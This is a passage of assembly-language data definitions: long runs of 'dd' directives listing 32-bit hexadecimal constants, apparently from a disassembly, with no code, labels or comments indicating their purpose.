		dd 0EE4922DDh, 97542074h, 4B036347h, 12EAB629h,	3E13215Eh
		dd 0AB2A64EFh, 18E3B0F4h, 0F709FA68h, 0C1C0844Ch, 2D3C3F28h
		dd 61250058h, 506E86Ch,	0CE62AFAh, 2C09289Eh, 0C1721B96h
		dd 5835E818h, 0EC3F56E1h, 5CF41F77h, 4A215DBCh,	822970C7h
		dd 0E988141h, 49C6CE80h, 0FFB82C84h, 85DE6F0Bh,	1485F787h
		dd 0A7698353h, 0F375A332h, 21D2555Ch, 0E7B613F6h, 4F9CD62Fh
		dd 1AD92B62h, 863212C0h, 89C6C812h, 0B5BDB80Fh,	7EC85EBAh
		dd 0DAF9DF62h, 0EC446145h, 0C90BCC00h, 549B6861h, 0FA3E5807h
		dd 61E2D0CBh, 29AEF277h, 0A8897426h, 3CCA0F49h,	0C0C4332Bh
		dd 0F7798871h, 78B0E525h, 7860204Bh, 4AA3681Ch,	58B9FC2Fh
		dd 5238B4E9h, 26EFDE0Ch, 21A01038h, 6AE165D6h, 0A2A18DECh
		dd 0D887C323h, 73424793h, 4364C380h, 0FEBE977Eh, 6FE87627h
		dd 3B9273CDh, 4BA80484h, 5C1EE102h, 0F1D55B07h,	0A3666447h
		dd 32BC4B5Fh, 0E567DD00h, 968CBD3Fh, 294F971Eh,	502A98A7h
		dd 0D15505B8h, 8556F04Dh, 5F53F8B2h, 0C8871BECh, 0ACC234C0h
		dd 6EC4B1Eh, 0EBA50896h, 5FF6E225h, 68530F18h, 8A754D29h
		dd 0EAAAC9A5h, 602AD3D5h, 3A706892h, 22A7C59Dh,	3C84F99h
		dd 4081BE28h, 327423BAh, 0F57C980h, 5EE962E3h, 2359A47Ah
		dd 0C231674Bh, 573557B2h, 9D134ED8h, 90EC7424h,	80C4FE88h
		dd 8826B9EEh, 780942E3h, 9224717Bh, 0C19A0ED8h,	0A88BAFB6h
		dd 44CEA812h, 0AC0FD820h, 4C98C0EFh, 4BE96DCFh,	0FEDD859Ch
		dd 1B545990h, 25327D29h, 90F28EAFh, 562E117Bh, 73851952h
		dd 0D4BF01E2h, 49081F0Dh, 0E95CE4F0h, 3EEE81C0h, 54AD2D5Bh
		dd 8A0EA7Ch, 75A430BFh,	125F95A0h, 6A70FF88h, 7968A9Dh
		dd 8A7D0600h, 13992D58h, 0C1321648h, 2AAB5B5Ch,	1D2E28CAh
		dd 847EA578h, 6E01240Bh, 9A1C245Dh, 9964A7E8h, 4D903330h
		dd 280BC1EEh, 815C3F36h, 89E65908h, 0BB85BF4h, 60F2390Eh
		dd 0C100D0E4h, 333508E0h, 351971CCh, 0B95D1BE9h, 0DA688240h
		dd 0EC67D777h, 4C5EE1Bh, 2D0C756Ah, 0BCD58512h,	1BDE5B5Ch
		dd 0AFBCE90Bh, 936406F1h, 820EFD13h, 554CF268h,	9501504Ch
		dd 0E9181A1Bh, 176CB810h, 20A1BAE0h, 401C652Eh,	0CB106704h
		dd 4AA7C3AFh, 568A1205h, 4EEF768Ch, 94DC44D3h, 700EB019h
		dd 29C40B57h, 5E0810D6h, 0E9096CACh, 0A689511h,	80808874h
		dd 0FF22B8F1h, 4184FE30h, 51B46B41h, 63CEF8FEh,	5DBF14A6h
		dd 0E8A045B1h, 639BB640h, 8D37D90Ah, 0B84F2150h, 795D20C4h
		dd 0CA0D2BAh, 0D43F36B5h, 67CD9331h, 0E285A1F2h, 0C055AC8Dh
		dd 137EEC3h, 0F3EC6Ah, 3D095B93h, 3012B951h, 0A41F9824h
		dd 4464D02h, 8648FD38h,	731862E1h, 441E2A40h, 0E7E22721h
		dd 4ABEEF76h, 0F70170BDh, 716895DDh, 0DE81960Fh, 0DDD92E52h
		dd 120E8A6Fh, 9529A157h, 668BD7Ah, 40478F58h, 1D9F01A8h
		dd 66E9288Eh, 0E38852B7h, 0C432C341h, 5714248h,	207B4013h
		dd 9605CFADh, 0C023F258h, 0BECED50Dh, 5961E926h, 0D3F84D97h
		dd 21FBFD2h, 7E6F3DCBh,	0F97C7063h, 0BF5469AEh,	0E75F8C11h
		dd 0BE93A4F7h, 174D132Ah, 90B89117h, 0D92608B9h, 78AC7F4Bh
		dd 4619677h, 0B0F5E955h, 0DBBF5B5Ch, 0A2DD2D2Fh, 17035DAh
		dd 0CE15B72Dh, 0BB02135Ch, 0C05D6179h, 0A9B470A7h, 7A30EF80h
		dd 80DE417Bh, 6B783226h, 9E38170h, 371E1545h, 72F387Ah
		dd 88C9D92Eh, 68AA3C0Ah, 487A3631h, 0D589335Ah,	791A5945h
		dd 335E3241h, 40B7880h,	827A050Ch, 7B1D1312h, 57B700EFh
		dd 525E701Ch, 0BE53FCC4h, 0BDD021BBh, 46DF6B19h, 0C56CE24Ah
		dd 4A4D1E51h, 0B5F07166h, 4C96BAC2h, 184C4E3h, 9CC147DCh
		dd 0DA440D73h, 56526925h, 0CD1EC82Eh, 0DBA8FE9Dh, 0A0878E4Bh
		dd 2B022D41h, 391D6320h, 581A85Ch, 0FCB11A8Dh, 97F47B09h
		dd 2F111254h, 253AF82Bh, 8063C0E1h, 287826F6h, 6FC5084Dh
		dd 0E255DC2Dh, 717F7EE5h, 0C513A42Ch, 29B44D28h, 0B7402B6Ah
		dd 0E64E03C3h, 0F1EBF864h, 0C088CCAh, 31720420h, 0D179E906h
		dd 6D3968DCh, 4E6310B7h, 0F1054800h, 89ADE10Bh,	1718DBBFh
		dd 0C7F18229h, 5135E07Dh, 117D95DAh, 0ED6CBB7Ch, 0A044348h
		dd 0B30EF068h, 67FE174Fh, 0B1AE48Ah, 0E05FCD28h, 9EBF2B55h
		dd 0D47C28Fh, 257AC55Dh, 5D1222C6h, 34AB6968h, 0CACD03A3h
		dd 6410F361h, 0BD4B3ED8h, 5001D212h, 4F2B4CCDh,	0C6CF6070h
		dd 0B3F752C0h, 6886E22Dh, 25C670FBh, 3254880Fh,	0E913BA20h
		dd 7E982B0h, 5185BF10h,	3146EDFEh, 3C48ED80h, 66194B80h
		dd 0C87E6E10h, 0F309EF72h, 0B4E544Dh, 0E7420379h, 8CF3E703h
		dd 55F4CA34h, 9DCEDFA2h, 167B1BDFh, 0E3FD57A1h,	611168Eh
		dd 58C96FBDh, 6BDC1882h
		dd 54E46954h, 82F5BDA8h, 4C4A5369h, 7EF27750h, 286AC460h
		dd 385066C6h, 0C6790B0h, 0FCDE1B58h, 2AAE0052h,	0A039FF60h
		dd 2F6912D8h, 0D1541CD0h, 0AE9A228Ah, 32FF54Bh,	0CD543AA4h
		dd 0D3D86FC0h, 7BE29DC5h, 0EEDF8209h, 12534A3Fh, 8DE3BFB0h
		dd 801D7C7h, 3BC80FF8h,	6AEB41E9h, 54A7D6F3h, 5DC740FCh
		dd 58010815h, 42B2BF57h, 0C5614133h, 0BA067328h, 0EE51290Eh
		dd 3B48C92Fh, 6F21D93Bh, 74B264ADh, 9D313C8h, 0FD287E28h
		dd 995892Eh, 0C8BF0F60h, 51443168h, 3FAA3B49h, 86C644CCh
		dd 7DF6813Eh, 252C3E3Ah, 0FC477DF0h, 7FED3589h,	0AF64A112h
		dd 97C6F8h, 5933BBE7h, 0FF9532h, 35047716h, 0B4024EE9h
		dd 0A8EE5754h, 132D8B4Dh, 0A8C55BBh, 64725EFAh,	68D12C6Fh
		dd 91220532h, 6654C953h, 0C52C48Eh, 585D4EA9h, 1AA16DA9h
		dd 8C5AEDF2h, 147B4625h, 0BC5E5AF0h, 7302CF22h,	928B5D16h
		dd 0ADF1312Eh, 200C9CF5h, 68056C71h, 17C5720Ch,	0A27F38E5h
		dd 61EA92D5h, 3F5FFDFBh, 0B800269Eh, 5EEF4D95h,	0A190C609h
		dd 5DC4E925h, 0AA442FE2h, 0D39D96F0h, 59C18401h, 0C38BC472h
		dd 0DEA8E846h, 0DB5EE96Eh, 795B7683h, 0F0834DFFh, 282DE44Eh
		dd 0B04FA592h, 0E6D0C607h, 0D56C0F72h, 2497B491h, 0F107814Ch
		dd 0E334007h, 494EE160h, 0A8064EF5h, 0BFC80990h, 95277FCAh
		dd 0BD0EA2FDh, 0BDD1E469h, 0F9500FA4h, 4F39A67Fh, 0E53AEDBBh
		dd 6E2281DFh, 5E65EB74h, 0E9A0A568h, 0FF95A23Fh, 5457A91Ah
		dd 0B086436Dh, 60585425h, 3EB7F106h, 0A49C8044h, 32542F39h
		dd 7C890952h, 3A06D8BDh, 55F3A7C0h, 17EA41F9h, 0A15BDE31h
		dd 149209Bh, 82D9E927h,	5DD4881Fh, 40B73B98h, 5C4373B6h
		dd 4F191831h, 21BA306Bh, 7FC53C0Ch, 0AA34464Ah,	0DF0B42F5h
		dd 0BC05D7A9h, 0BB8CFECAh, 2E432568h, 0C562E9D4h, 0FD868B55h
		dd 59AA2617h, 0DA715E97h, 0F1E2D45Dh, 974E2051h, 55F692B7h
		dd 0E9D04D7Ch, 2486B269h, 8A4C83Bh, 2D026ACDh, 7524F26Eh
		dd 5E731FC0h, 294D160Fh, 8A81CC3h, 0DE91E917h, 6EF4DA24h
		dd 47C9975Ah, 3368DEA3h, 7F3D5334h, 0A8497C76h,	77F025D5h
		dd 5CB00998h, 546C4327h, 0E7810065h, 64496817h,	600B5074h
		dd 80301951h, 2671C7D8h, 0EE5F4AC6h, 81FD884h, 5D0178EFh
		dd 0FC9C45Bh, 535D2E60h, 11B4BB4Eh, 0B2DE5F29h,	9F4D026h
		dd 5030373Ch, 3B44B92h,	80C1FE88h, 0B4AB8795h, 5AA492F3h
		dd 205BE47Fh, 0F9BDB1B5h, 0A0DD8D1Ch, 0E2A02B59h, 27487B73h
		dd 0AA189EC3h, 61250ACBh, 0C566D745h, 5D2ECA9Dh, 1B4BC040h
		dd 0BB695E02h, 77D6597Ah, 7E1D5087h, 0D31C0216h, 15528668h
		dd 0A077AF2Fh, 0FE3E5819h, 0DFB8C550h, 5B4BB2B5h, 0E829C14Bh
		dd 322D483h, 0F80164A4h, 34F15351h, 0E7BD3EA6h,	0ACB26216h
		dd 0A7CB9FA9h, 0B0125127h, 5D59D768h, 0BF0F2DB8h, 0F66E377Ch
		dd 2DF81FC1h, 97AC0A44h, 0E0B9AD93h, 0C4381468h, 886525D7h
		dd 5A6AE4FFh, 0D1024A22h, 574D82BDh, 680C78E3h,	2D839CE9h
		dd 3E2C25F6h, 0E67F6878h, 657C6B71h, 0C79EE06h,	50C2D4Eh
		dd 29ED6F1Eh, 0AEFB04F7h, 3DAAB9ABh, 865BA80Ah,	0F1AD1C2Fh
		dd 213EC2E9h, 2AF66801h, 1C4DE2Ch, 0F8AA3415h, 0D25A8C53h
		dd 3EF9958Dh, 0E0573C92h, 5C0BC8AAh, 65A741B5h,	3EF3C2Fh
		dd 19F36A4Fh, 0F8419525h, 2B0305Fh, 62375697h, 56E63914h
		dd 59D6F72Dh, 6D3462A2h, 6EA85C05h, 65B5E8A3h, 952A82D2h
		dd 0FD5E9B5Ah, 0B9DF89A8h, 2D00C34Fh, 0BC95EE7h, 782ADF0h
		dd 56D41580h, 2FB1E9Ah,	70BC8052h, 46F9314h, 694C3F25h
		dd 847EEC4Bh, 6C0CF01h,	48D64362h, 9824457Ah, 48996F3h
		dd 0EAFE3108h, 0E7489EE2h, 47441A2Fh, 10ECA983h, 7079278Ah
		dd 0B66DBDBAh, 72ABE904h, 89384E6h, 0D7258686h,	0D7A7EDE7h
		dd 6F0B9C29h, 0CAA785F6h, 0CE527F07h, 0DFC45527h, 0FDD99733h
		dd 7EDE659Ch, 0A4985EF3h, 0C9C079D3h, 0B35074F5h, 254E9873h
		dd 6A6429E1h, 2F8EF6B7h, 0EAA8160h, 0BBEC125Fh,	0F06E9F02h
		dd 0D0F40103h, 2BD2FE39h, 282E24ECh, 0AF34132Eh, 6081E50h
		dd 8541E959h, 69D69F7Ch, 0BCC6E812h, 0B8702A98h, 3E73FBEh
		dd 1F199410h, 0E3CDFA09h, 0F081B77Eh, 47941680h, 4DE215Eh
		dd 0A3B6E807h, 803A4A4Eh, 0F55BE1Eh, 1F26D48h, 92F0AFC6h
		dd 93B29B8h, 70AC3FA1h,	94448B8Ah, 88044FEEh, 0E376BE01h
		dd 7A9225h, 20D0054Fh, 0E93A094Fh, 55F18290h, 0CE967728h
		dd 78970500h, 0B2D54EEh, 1A576B9Dh, 720BF5Ch, 1208B082h
		dd 0AD5FBFDCh, 4DD55EF1h, 0E9E11EACh, 72F5C6AAh, 93FB3D13h
		dd 15841B18h, 70B546D6h, 57F93B11h, 7A073127h, 810231C1h
		dd 771520CAh, 23F87176h, 45AE5E16h, 58F00813h, 0EF681342h
		dd 4BCB343h, 4BA50205h,	386116FCh, 40D31CB3h, 25F4CAFEh
		dd 0E941D40Bh, 973B78ADh, 7B0EDBF2h, 0DF4ECA74h, 658F5C80h
		dd 0EECB89BDh, 31A14A5Fh, 34D4D7E6h, 1F4FC314h,	510092A8h
		dd 0B753B0B1h, 0D70EF620h, 5C80CFFEh, 0EF530EF7h, 75F982F8h
		dd 0DC9FB94Ch, 0E95786CFh, 5F1793A0h, 7FF35B68h, 45F9207Eh
		dd 63F33CFAh, 0A94A7DBCh, 9F718E4h, 725047BEh, 5BD4ED00h
		dd 215CAB7Fh, 41E66528h, 721C287h, 0A3402C9Ah, 9497993h
		dd 10E94270h, 0F1802DAFh, 0B76D3DFFh, 0F34BD2F6h, 47E7CDBBh
		dd 2F2B5D7Ch, 0CC53ECC1h, 6923BA2Eh, 0F8681D49h, 0E9094321h
		dd 18016E65h, 10B8EABFh, 0AC2A510Fh, 4FADACCAh,	0B7519128h
		dd 0DB25013Eh, 3817EBC0h, 0C33A7F2Dh, 0BC5F35D9h, 0FE65B1ACh
		dd 7F2AFD63h, 0EFBE0496h, 0ED69744Fh, 0F6E81AFh, 0B12E5DF1h
		dd 1E3560AAh, 0F717A99Fh, 712F4DB0h, 83275C0Fh,	814DC0C5h
		dd 2D49A1CDh, 3DD3AA4h,	0E858CC2Ah, 0A9B4B0E9h,	0C1E4EFD1h
		dd 89F5250Bh, 0E9DA0060h, 94472F2Fh, 389B327Ah,	59572E7Dh
		dd 9FC88EF7h, 0A9CAFE13h, 8A22517Eh, 0AE365DC1h, 0F9E62F7Ch
		dd 0C0A632D5h, 0C0818607h, 0EAEC99Dh, 4FF6739Dh, 0AC469260h
		dd 5BBD6866h, 51BDD248h, 3E414BE1h, 0A3163FA6h,	2162AE50h
		dd 31BCA49Ah, 0D2F467EFh, 1A775CCAh, 2D5440ECh,	3159047Dh
		dd 0D476E978h, 3E0B81D7h, 77518861h, 0AE5C13F0h, 5867A500h
		dd 8BC32923h, 0B145115Ah, 18B3B93Ch, 4CC1ED10h,	4B35F1Dh
		dd 54D76882h, 2590C57Fh, 7675CF48h, 18E75A81h, 3BB76A55h
		dd 0FA86157Eh, 2CBF6F66h, 4C52ABA0h, 313E5860h,	8032A7E8h
		dd 274FBB7Eh, 0BC734AB8h, 0A3354F0Eh, 63A3FF04h, 2741EB35h
		dd 0B303477h, 0D5F7303h, 0A0903B05h, 90495E3h, 55D7875h
		dd 0AEBC154Dh, 0EE2AD7DFh, 1792328Ch, 0FE111870h, 0DF50C80Ah
		dd 553BFC10h, 0AD3FC324h, 0E5DDBC42h, 2DE880BDh, 6BF76AA5h
		dd 0C6B1E913h, 0F66BB3E5h, 0DCEA2DA3h, 0AEE98545h, 17B1A298h
		dd 2B213166h, 41A063ECh, 358B9FD6h, 277F665Fh, 0CD689AB9h
		dd 0BE818DD7h, 0A2B54854h, 846A0541h, 0D2C57F81h, 2FE74D3Eh
		dd 78159C04h, 2DC055F8h, 1942549Fh, 838F78BDh, 95BEAC07h
		dd 5E1C385Dh, 39FE555Fh, 12BB639Ch, 0E6A3546Fh,	5B1AF10h
		dd 8D7AF7B9h, 0C261C2FAh, 7FEDC548h, 0F8B5818h,	1D2FE2B6h
		dd 0A42959F0h, 271E17CDh, 0B3792548h, 60C300F1h, 0F92D45E8h
		dd 0D0E1906Eh, 5F2D07CBh, 0BB5339Eh, 83E17D41h,	6AE33A6Fh
		dd 0A8374A7Eh, 717BC190h, 2AF41F50h, 8CFCB7CDh,	7DD88273h
		dd 0E914CDD1h, 6CA65EFDh
		dd 6D63691Ch, 0C90DE3DEh, 0C93EA2Eh, 7CA809A4h,	0FAD123FFh
		dd 0FA684A89h, 7B4E388Ch, 0E73FF964h, 61EF4A5Bh, 2835E9CDh
		dd 5EF4F3Ah, 0AE62BB87h, 0F94F25B2h, 4FEC5F1Bh,	0C04F68ACh
		dd 0B58596F4h, 6577EF62h, 0F7273FD7h, 5957E142h, 6E7BE9ADh
		dd 1D6CC788h, 0A9518B58h, 0A7BD88F3h, 8867E0BEh, 4C29B8EFh
		dd 0C25BE001h, 15818ABDh, 20D9F602h, 0E7C9C632h, 0BAEA02CBh
		dd 0B098949Ah, 81B1805Bh, 6F5D8177h, 0A4E59BE1h, 0B0C6016Fh
		dd 0B9C32802h, 5ACFCCF4h, 98FE0C85h, 1F4F4114h,	185C8530h
		dd 0C1470B91h, 4B0402E1h, 1464E435h, 4249AC05h,	10E2F731h
		dd 8705AF96h, 0CDF62ACEh, 58138A10h, 5C812004h,	0A448205Ah
		dd 6863389Ah, 14DFFDC2h, 9DA8F822h, 68E21BF4h, 6B09FF7Bh
		dd 8B59B9DCh, 0F59F5EAh, 3EB80E1h, 0C051EE60h, 0E384EFDBh
		dd 0F8ED05DBh, 0F40466B3h, 1E12E90Bh, 0FE53AC04h, 0E06F2C6Dh
		dd 614FE9FEh, 805A5600h, 27288DF7h, 4BFE5BF8h, 77506609h
		dd 2C58AAE0h, 52DE9F6h,	0B1ECEEB3h, 0C20909A1h,	97F148Bh
		dd 7D6ABA9Dh, 658B90E5h, 0BD5BD329h, 0DB09CCA7h, 0E8C38356h
		dd 0CBB93B34h, 24707D96h, 0B7EDBBB1h, 5CC043Eh,	0B652660Fh
		dd 0BBF02884h, 0B08DFF06h, 4990B030h, 0BF5E4DC7h, 834E030h
		dd 397C5CF8h, 0ABA75812h, 1D257EE3h, 38B75620h,	0D8BD1231h
		dd 0B85002C7h, 330B3E16h, 256B1D61h, 0EE0E4116h, 0C1CC7B88h
		dd 0B5A465E7h, 41F7C1E8h, 0CFC4722Bh, 5390B76Ch, 5AEE7BDFh
		dd 0E5BFEC34h, 1FF8BA08h, 8A60B3B3h, 4BE0185Ah,	0F1F006Fh
		dd 0C7C281F9h, 4417865Fh, 38FAF201h, 3A006B95h,	0ACBB2EF8h
		dd 5F6A7E65h, 19AE931h,	3D281226h, 4EA0DA29h, 0E95B3D08h
		dd 0BB40DD59h, 0A0D9722Ch, 0DD922EBCh, 7196BB61h, 0CE24BF32h
		dd 0D348A6BEh, 0ABB549E8h, 5A8C27A2h, 0FD5C5E3Fh, 0ABBA84C3h
		dd 2B33F117h, 25CB6801h, 59D9277Fh, 3199E124h, 0F29AE5B2h
		dd 32312BC8h, 0AC00158Ch, 4A98D830h, 9D5F6E40h,	3DC7B7DCh
		dd 57B0191Bh, 773877E5h, 0C7F15E25h, 5BA7E958h,	3FE08941h
		dd 527289Fh, 8EB16B00h,	127AC180h, 9E66EF24h, 0C513E7A6h
		dd 0B3531A80h, 59FCBD63h, 0EF93779Dh, 0D6CEF809h, 0EF13C5BEh
		dd 0B2FECD84h, 8C03C436h, 993EF216h, 8D3AE06Ch,	0CD9D6532h
		dd 1BF22A18h, 6F1F7C48h, 0CB6E5E75h, 0A16462A2h, 0BB875926h
		dd 498A360Ah, 0A685080h, 907FBB48h, 0B3F35AF0h,	4F0607C2h
		dd 0C8802201h, 28DBA59h, 0E96B862Ch, 0F5F6760Dh, 4979F173h
		dd 0CC09306Ah, 55E5323h, 2DE7A14h, 8DA2892h, 7C19E248h
		dd 6C5525DCh, 8E022691h, 35588E0h, 7EE5066Fh, 0EBE04F6Bh
		dd 0F56FF21Fh, 70957196h, 3EAC009Bh, 0E781614Ch, 92482979h
		dd 4BF24CDDh, 0B8A4E4ECh, 7274A4D2h, 9C12D7F6h,	0D9BDB46Bh
		dd 6DC0B00h, 7A15CD81h,	0F746121Bh, 0CE2D01DDh,	3A62CA0Ah
		dd 3C2991C1h, 758E07Ah,	0A80C09B9h, 3B50C89h, 0A5E58052h
		dd 0A35C5FEh, 0A8B806B2h, 5E38E90Ch, 7100B828h,	0BA53F451h
		dd 0FC92EB6Eh, 80C24B01h, 31443923h, 23185D5Bh,	4CE5E907h
		dd 0D1D7F42Fh, 5909680h, 8FE5BEBh, 0C2F02FDAh, 0B7EBD124h
		dd 0CEFE6916h, 582605E8h, 2FA501Ch, 352C42EDh, 0F33B41DDh
		dd 7EE452EAh, 7E418280h, 7B55CC36h, 25CCBE00h, 1AE98722h
		dd 0BA62C08Fh, 49FC535Dh, 2AE5D0B7h, 16CE4E13h,	0F129B8C3h
		dd 6461D865h, 0F53DE227h, 72F55110h, 5DB82086h,	0A6EEBC98h
		dd 0C4898E48h, 3B89E830h, 6C7BD17Fh, 0E0F14D3Ch, 7BC03890h
		dd 0FB2F06EEh, 0D629280Dh, 50C60FB0h, 2D67E9Ch,	1BA566E1h
		dd 0E90502D6h, 9DE48B8Eh, 0B5464052h, 0F5B447Dh, 0CA02E012h
		dd 574BFE68h, 864E97ECh, 65973461h, 0B9B14703h,	73AD261Bh
		dd 20483B2Ch, 770B3E1Ah, 307650C2h, 0D6D28BFAh,	5BDA89FFh
		dd 0EDBF605Dh, 0DD43031Dh, 734AE971h, 0BC560487h, 0B122E46Dh
		dd 30B92007h, 809F511Dh, 1F488212h, 0F820E349h,	867E0080h
		dd 2CA42D22h, 0F71E105Ch, 0AA0040D0h, 57C8D49h,	21571616h
		dd 34A7F04Ch, 3DE29B4Fh, 0FBBC3078h, 26CE6866h,	740982ACh
		dd 6831614Bh, 0F87B485Dh, 0C26CF008h, 63DA52B7h, 4CFB0881h
		dd 0BD2B3092h, 0D320F306h, 281C0148h, 1F235D08h, 0E5F40576h
		dd 8229EC57h, 2108080Ch, 2F263834h, 203F8510h, 981E924Fh
		dd 0CC1D2062h, 81204676h, 3A71BF97h, 686CF76Bh,	4D616842h
		dd 3C4DDBE9h, 1261D56Eh, 0F9F81B3Dh, 96C62897h,	7C5A687Eh
		dd 73927C30h, 96F1264h,	80E5B2E8h, 8B4BB53h, 202898E2h
		dd 68158FAAh, 4D23653Ah, 16B958DEh, 0DC32A6FBh,	20027A30h
		dd 544A5BEAh, 0AB5295EBh, 91506944h, 9402E4CDh,	0D90B75D8h
		dd 9D04EF5h, 2D03E0C1h,	0F01C33D1h, 0C2A2D68h, 0C1583F7Ch
		dd 0A7614F2Dh, 0BE005F51h, 9E01073Ah, 7C1DB956h, 0ACFC2EAAh
		dd 2EDCBFA3h, 3FCA615Ah, 0B2398C3Ah, 0AE2CE031h, 0FFC2A8ABh
		dd 0FCE756CCh, 2148B368h, 9A09DEF9h, 13AB6617h,	0C21D5E2Bh
		dd 10359CAh, 185417F8h,	829D619Fh, 0B100059Eh, 70F4622Bh
		dd 40299040h, 8A0B686Ah, 8645CD67h, 2514BA5Ch, 9855FD08h
		dd 99DDF672h, 86B460E9h, 0F894F9E9h, 0B714727h,	0C0A495E9h
		dd 0B22BAE5Dh, 55C0D65h, 0BD0F681Fh, 13AC3CECh,	99F7F447h
		dd 2AEB277Eh, 33FF651h,	0A723B2CFh, 0BE0C1D2Dh,	325530Dh
		dd 0AFEFFBC2h, 0F2ED82E5h, 43A88659h, 0E09914Eh, 708584B0h
		dd 77EC8D85h, 8C054800h, 1D31EC4h, 256AC74Ch, 0BB66F565h
		dd 2D4EE7F4h, 3CC80AA2h, 0BDEBA08h, 0F90691BFh,	0FE06920Fh
		dd 47250804h, 30360F0Eh, 0D7EF48EAh, 664EEFE0h,	3105741Bh
		dd 40B4E9FAh, 45A8F752h, 1510B105h, 370CC105h, 826A2C83h
		dd 750B7F68h, 35540C18h, 0A3467C2Dh, 57FC55Bh, 4A33BB30h
		dd 53BC59h, 21FC4270h, 9002E8C1h, 0DA709E3h, 0EADC164Bh
		dd 1DFFC327h, 9634D77Ch, 0F150BF53h, 431C6108h,	44CACA1Eh
		dd 0DD882943h, 685A43DBh, 724EAFECh, 0F8DBF835h, 62504E5Fh
		dd 0BC7158C1h, 7D76841h, 0BEC68D7Ch, 97046661h,	5469262Dh
		dd 1FB3C081h, 20E3D001h, 0F3E6CE23h, 749F30E6h,	0C8DA535Ah
		dd 38C41C75h, 0BE4B0564h, 0A6179FCBh, 0EF7B299Ch, 0A77DADBAh
		dd 822BFD7Dh, 0E5756F53h, 88E7A590h, 4BBB5388h,	569757F8h
		dd 9DA450FBh, 1C37ECB7h, 0AFD4623Eh, 0E984D656h, 41E2065Fh
		dd 0C2029505h, 8191B0ECh, 12A2EB03h, 8AE93BE8h,	0BBCDF5F6h
		dd 296D60B0h, 311E2ED3h, 84E9090Dh, 5A5E27A1h, 2A63E149h
		dd 0E1C09452h, 4C8B26C3h, 0F830F40Dh, 1AA4F55Fh, 2A758A2Eh
		dd 0F972F702h, 0F8C07DD9h, 0DCB79E4Fh, 0AEE3C9EDh, 0C278F7F1h
		dd 0E9795655h, 98BE304h, 2E5BEC5Eh, 4964E074h, 0DD0F465Dh
		dd 0D47400CCh, 0D143E910h, 7B718A9Ah, 22803DC5h, 0AF1375FBh
		dd 41703F98h, 6416008h,	5FAA0097h, 71C2E381h, 43293E37h
		dd 0E9403BA5h, 1A03BEBDh, 0EDC16123h, 6063302h,	69252FD6h
		dd 167952EBh, 0FFD8315Eh, 27682B3Ch, 89D342C0h,	2EFE5512h
		dd 0E94C611Fh, 0B352BC6Ah, 4C7077C3h, 0C4B8FF6h, 39BF7238h
		dd 3A81302Bh, 1A197ABEh, 6DF06B26h, 0A9D65AF7h,	48CE02AFh
		dd 5F444F2Eh, 3D2A2400h, 0B025E9D0h, 7DC4D7D5h,	13CB6812h
		dd 0C1818064h, 976237ACh, 0F7D02E51h, 1681EED2h, 15485F2h
		dd 9DE90296h, 5F2D2F94h, 0AC10326Dh, 0BA0B7352h, 0C0B44166h
		dd 2431CD2Fh, 3E32C2Bh
		dd 1E1339BEh, 7D690C04h, 85F0E226h, 3C872D5Eh, 0F1E9D1B1h
		dd 53C39DE3h, 5C8308D8h, 0A6347268h, 0A8FA95C5h, 0BEA3E2Eh
		dd 6D680240h, 2F1A9210h, 0C4457101h, 80CDE82Fh,	0F6E718CEh
		dd 0C0F00AD6h, 0F902EE3Dh, 0F588A40Fh, 0E3EF835Ah, 52669828h
		dd 0F43FEDB2h, 0E54BE9DAh, 54B36001h, 5BECDE88h, 1EF76130h
		dd 9048E780h, 0E9168332h, 45F2B699h, 10DC22C5h,	844E68F3h
		dd 0A0B18477h, 550BB853h, 805F4C27h, 0C40506ACh, 2CF6042Ah
		dd 0FE58C329h, 2218729Ah, 56FDEF8Eh, 75C56881h,	93023326h
		dd 29923DE1h, 492471F7h, 59ABD2E9h, 0EEF940BAh,	314F987Fh
		dd 0BBBB53FAh, 66BDDF60h, 15AE3F6Ch, 0E9974461h, 0C123BC1h
		dd 0B31B2CAEh, 0A7EA11BAh, 0B86DADD8h, 8E401F0Ch, 93984946h
		dd 9FFDDC10h, 7C842025h, 0ACD3897Dh, 883995E4h,	0F9094FC5h
		dd 0F2AD620Ah, 0C076F2BBh, 4B2D0563h, 0B8B0650Eh, 840744EDh
		dd 4EFCACB2h, 0B3D1C0A6h, 31D4F2Eh, 1848714Bh, 90AE7B0h
		dd 876A7C24h, 2D50C002h, 89754896h, 0B87398FEh,	7A76BCCBh
		dd 104C6657h, 1C57B685h, 0CE2D0168h, 2AFEBDFEh,	1639FB4Bh
		dd 593EC20Ch, 49A1F9FDh, 38B6DA55h, 0EA4B2C75h,	0E913A68Ah
		dd 0B8CD52D2h, 0ACDA3C8Ah, 8F8CBEF0h, 0E66F2E47h, 8D3718A7h
		dd 68589328h, 433DC932h, 3456548Ch, 423180FCh, 0F602E281h
		dd 0E90EF003h, 0B418E8DCh, 0BA7CBFAEh, 3005BC14h, 0E99A06C5h
		dd 0ADF49B9h, 86689D81h, 0A6B97F8Eh, 5A101348h,	32FA5F5Bh
		dd 0BD680711h, 9009BF57h, 0DD04FC01h, 1CD52A12h, 0D1B09D06h
		dd 598162BEh, 53020B7Ch, 0CBFEC6B3h, 0EF856FE2h, 93769DD8h
		dd 5EB2C12h, 0AA89CA8Dh, 0AB5AF7E3h, 652BFA61h,	66506602h
		dd 55EDC398h, 0F90DAFD6h, 8C2C15BDh, 0CB20FF76h, 38A1FD12h
		dd 3BA069DEh, 0E2B594B3h, 2E1AE91Ah, 1996DD1Bh,	54A8C495h
		dd 9D01DD92h, 4C9AAF4h,	0CE8D977h, 7914B05Bh, 5D950B82h
		dd 0B356A029h, 5AC58416h, 2ED7F1AEh, 0BC4AFC9Eh, 0A17B1601h
		dd 2B2239EBh, 2558AF0h,	0EBA6851h, 0EB40407Bh, 64BF7A3Dh
		dd 905EB7A6h, 0B46759C6h, 74158DCh, 319A679Fh, 28D0F723h
		dd 6855A08Ah, 8B565B32h, 0F945132Dh, 6097CDEFh,	0EA985110h
		dd 87A3704Ah, 4DB05082h, 0EE80EF40h, 40E9900Dh,	24312CE6h
		dd 0EDE4F4C9h, 0E059D783h, 54401A1Bh, 1EE75F28h, 194F2CEEh
		dd 4887D67Ah, 73256842h, 294A981Bh, 5C5FAA30h, 325AC912h
		dd 648B2C0Bh, 3BB2DF01h, 0E85B0C05h, 0D00BB22Dh, 1E57950Dh
		dd 166D0F13h, 0E9C663C6h, 0CA970D69h, 57D45D9Ch, 5F8EE950h
		dd 6327BF93h, 201B8006h, 36B2D279h, 0F6F4F05h, 2FAD329h
		dd 7612288Ah, 9E02A658h, 21491D58h, 4EB0D7DFh, 5FD28E61h
